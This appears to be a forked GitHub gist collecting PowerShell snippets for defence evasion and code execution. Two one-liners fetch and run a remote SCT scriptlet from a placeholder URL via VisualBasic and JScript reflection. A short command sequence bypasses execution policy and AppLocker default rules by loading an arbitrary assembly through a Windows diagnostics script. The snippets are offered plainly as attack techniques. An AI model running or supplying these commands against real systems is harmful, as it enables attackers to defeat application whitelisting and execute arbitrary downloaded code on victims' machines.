Skip to content

Instantly share code, notes, and snippets.

@S3cur3Th1sSh1t
Forked from mgeeky/PowerShell.txt
Created November 10, 2020 09:25
Show Gist options
  • Select an option

  • Save S3cur3Th1sSh1t/7820e060fb7077f56683c8d109dcbf5d to your computer and use it in GitHub Desktop.

Select an option

Save S3cur3Th1sSh1t/7820e060fb7077f56683c8d109dcbf5d to your computer and use it in GitHub Desktop.
Snippets of PowerShell bypass/evasion/execution techniques that are interesting
#SCT VBScript/JScript Execution
[Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');[Microsoft.VisualBasic.Interaction]::GetObject('script:https://path/to/some.sct').Exec(0)
[Reflection.Assembly]::LoadWithPartialName('Microsoft.JScript');[Microsoft.JScript.Eval]::JScriptEvaluate('GetObject("script:https://path/to/some.sct").Exec()',[Microsoft.JScript.Vsa.VsaEngine]::CreateEngine())
#Loading .Net/C# Assemblies to Bypass AppLocker Default Rules
powershell -v 2 -ep bypass
cd C:\windows\diagnostics\system\AERO
import-module .\CL_LoadAssembly.ps1
LoadAssemblyFromPath ..\..\..\..\path\assembly.exe
[name.space]::executesomething()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment